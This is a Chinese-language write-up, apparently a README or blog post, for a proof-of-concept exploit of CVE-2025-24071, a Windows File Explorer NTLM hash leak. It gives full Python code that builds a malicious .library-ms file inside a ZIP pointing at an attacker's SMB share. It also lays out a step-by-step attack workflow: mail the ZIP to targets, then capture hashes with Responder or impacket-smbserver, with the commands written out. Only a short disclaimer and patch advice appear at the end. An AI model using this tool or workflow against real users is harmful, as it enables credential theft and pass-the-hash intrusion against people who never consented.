CVE-2025-24071 Windows 文件资源管理器欺骗漏洞利用工具

1 阅读6分钟

CVE-2025-24071 Windows 文件资源管理器欺骗漏洞利用工具

项目概述

CVE-2025-24071 是 Windows 文件资源管理器(File Explorer)中的一个欺骗性漏洞,允许未经身份验证的攻击者通过网络泄露敏感信息。该漏洞源于 Windows 资源管理器对 .library-ms 文件的隐式信任和自动解析行为。通过构造包含恶意 SMB 路径的 .library-ms 文件并将其嵌入压缩包(如 RAR/ZIP),攻击者可以在目标用户解压文件时触发 SMB 身份验证请求,进而捕获用户的 NTLM 哈希值。

漏洞信息

  • CVE ID: CVE-2025-24071
  • 严重程度: 中等(CVSS v3.1 基础评分:6.5)
  • 攻击向量: AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
  • CWE: CWE-200 - 敏感信息暴露给未经授权的攻击者
  • 发布日期: 2025年3月11日
  • 最后更新: 2025年4月16日

功能特性

  • 自动化 payload 生成:一键生成包含恶意 .library-ms 文件的 ZIP 压缩包
  • 灵活的 SMB 路径配置:支持自定义目标 IP 地址、共享名称和文件名
  • 自动文件清理:生成 ZIP 包后自动删除临时生成的 .library-ms 文件
  • 轻量级设计:无需额外依赖,仅使用 Python 标准库
  • 跨平台支持:可在 Windows、Linux、macOS 上运行生成 payload

影响系统版本

该漏洞影响以下 Windows 版本:

  • Windows 10(版本 1607、1809、21H2、22H2)
  • Windows 11(版本 22H2、23H2、24H2)
  • Windows Server 2012 R2
  • Windows Server 2016
  • Windows Server 2019
  • Windows Server 2022
  • Windows Server 2025

完整的影响系统列表请参考 Microsoft 安全更新指南

安装指南

系统要求

  • Python 3.6 或更高版本
  • 标准库模块:argparseoszipfile(Python 内置,无需额外安装)

安装步骤

  1. 克隆代码仓库到本地:
git clone https://github.com/your-repo/CVE-2025-24071-PoC.git
cd CVE-2025-24071-PoC
  1. 验证 Python 环境:
python --version
  1. 无需安装额外依赖,直接运行脚本即可。

使用说明

基础用法

python exploit.py --ip <目标IP地址> --filename <文件名> --share <共享名称>

参数说明

参数简写必填默认值描述
--ip-i攻击者 SMB 服务器的目标 IP 地址
--filename-fpayload输出文件名(不含扩展名)
--share-sshare本地 SMB 共享名称

使用示例

示例 1:基础用法

生成指向 192.168.1.100 的 payload,使用默认文件名和共享名:

python exploit.py --ip 192.168.1.100

输出:

[+] Crafting malicious .library-ms file:
[+] Created payload.library-ms file
[+] Zipped file saved as: payload.zip
示例 2:自定义文件名和共享名
python exploit.py --ip 10.10.10.10 --filename malicious --share public

输出:

[+] Crafting malicious .library-ms file:
[+] Created malicious.library-ms file
[+] Zipped file saved as: malicious.zip

攻击流程

  1. 构造 payload:使用 exploit.py 生成包含恶意 .library-ms 文件的 ZIP 压缩包
  2. 启动 SMB 监听:在攻击者机器上启动 SMB 服务(如 Responder、impacket-smbserver 等)以捕获 NTLM 哈希
  3. 分发文件:将生成的 ZIP 文件通过邮件、即时通讯等方式发送给目标用户
  4. 触发漏洞:当目标用户解压 ZIP 文件时,Windows 资源管理器自动解析 .library-ms 文件,触发 SMB 认证请求
  5. 捕获哈希:攻击者监听获得目标用户的 NTLM 哈希值

攻击者 SMB 服务设置示例

使用 Responder 监听 SMB 请求:

sudo responder -I eth0 -w

或使用 impacket 提供的 SMB 服务:

sudo impacket-smbserver share ./ -smb2support

核心代码

1. 恶意 .library-ms 文件生成函数

该函数负责生成符合 Windows 库文件格式规范的 XML 内容,并将恶意 SMB 路径写入其中。

def generate_file(smb_path, filename):
    """
    生成恶意的 .library-ms 文件
    
    该函数创建一个 Windows 库文件(.library-ms),其中包含指向攻击者 SMB 服务器的路径。
    Windows 资源管理器会自动解析该文件并尝试连接到指定的 SMB 路径,
    从而触发 NTLM 身份验证请求。
    
    Args:
        smb_path (str): 恶意 SMB 路径,格式为 \\\\IP\\share\\
        filename (str): 输出文件名(不含扩展名)
    
    Returns:
        None: 文件写入磁盘,无返回值
    """
    content = f"""<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <simpleLocation>
        <url>{smb_path}</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>"""

    with open(filename + '.library-ms', "w") as file:
        file.write(content)
    print("[+] Created {filename}.library-ms file")

2. ZIP 压缩打包函数

该函数将生成的 .library-ms 文件打包为 ZIP 压缩包,并在打包完成后删除临时文件,以保持工作目录整洁。

def zip_file(filename):
    """
    将 .library-ms 文件打包为 ZIP 压缩包
    
    该函数使用 Python 的 zipfile 模块将恶意库文件压缩为 ZIP 格式,
    压缩完成后自动删除原始 .library-ms 文件,减少痕迹。
    
    Args:
        filename (str): 文件名(不含扩展名)
    
    Returns:
        None: ZIP 文件写入磁盘,无返回值
    
    技术细节:
        - 使用 ZIP_DEFLATED 压缩算法减小文件体积
        - 通过 arcname 参数确保压缩包内的文件结构简洁
        - 自动清理临时文件,提升用户体验
    """
    zip_name = filename + ".zip"

    with zipfile.ZipFile(zip_name, 'w', zipfile.ZIP_DEFLATED) as zipf:
        zipf.write(f"{filename}.library-ms", arcname=f"{filename}.library-ms")
    os.remove(f"{filename}.library-ms")
    print(f"[+] Zipped file saved as: {zip_name}")

3. 主程序入口与命令行解析

主程序负责解析命令行参数、协调各模块工作,并提供友好的用户交互反馈。

def main():
    """
    主程序入口函数
    
    功能流程:
        1. 解析命令行参数(目标IP、文件名、共享名称)
        2. 构造恶意 SMB 路径(格式:\\\\IP\\share\\)
        3. 调用 generate_file() 生成 .library-ms 文件
        4. 调用 zip_file() 打包为 ZIP 并清理临时文件
    
    命令行参数:
        -i/--ip: 目标 IP 地址(必填)
        -f/--filename: 输出文件名(可选,默认 payload)
        -s/--share: SMB 共享名称(可选,默认 share)
    
    使用示例:
        python exploit.py --ip 192.168.1.100 --filename test --smb public
    """
    parser = argparse.ArgumentParser()
    parser.add_argument('-i', '--ip', required=True, help='Target IP address (e.g 10.10.10.10)')
    parser.add_argument('-f', '--filename', default='payload', help='Filename without the extension')
    parser.add_argument('-s', '--share', default='share', help='Name of your local smb share')
    
    args = parser.parse_args()

    print("[+] Crafting malicious .library-ms file:")

    # 构造 Windows 网络路径格式:\\\\IP\\share\\
    smb_path = f"\\\\{args.ip}\\{args.share}\\"
    generate_file(smb_path, args.filename)
    zip_file(args.filename)

漏洞利用原理

  1. 文件格式信任:Windows 资源管理器将 .library-ms 文件视为可信的库配置文件,会自动解析并加载其中包含的路径信息。

  2. SMB 自动认证:当资源管理器访问 \\IP\share\ 格式的 SMB 路径时,Windows 会尝试使用当前用户的凭据进行 NTLM 身份验证。

  3. 哈希捕获:攻击者控制的 SMB 服务器在接收到认证请求后,可以记录下用户的 NTLM 哈希值,进而进行离线破解或 Pass-the-Hash 攻击。

  4. 压缩包自动处理:将 .library-ms 文件嵌入 ZIP 压缩包后,当用户执行解压操作时,资源管理器会自动解析其中的库文件,触发上述流程。

注意事项

⚠️ 免责声明:本项目仅用于安全研究和授权测试目的。未经授权使用此工具攻击他人系统是违法行为。使用本工具产生的所有后果由使用者自行承担。

  • 该漏洞已于 2025 年 3 月的 Microsoft 安全更新中修复,请及时更新系统
  • 建议在企业环境中禁用 SMB 出站连接或部署 NTLM 防护措施
  • 教育用户不要解压来自不可信来源的压缩包文件 6HFtX5dABrKlqXeO5PUv/65LI/Jw0eghQAp4Y4vlThotckKDNXCppoAT0CPQZLiV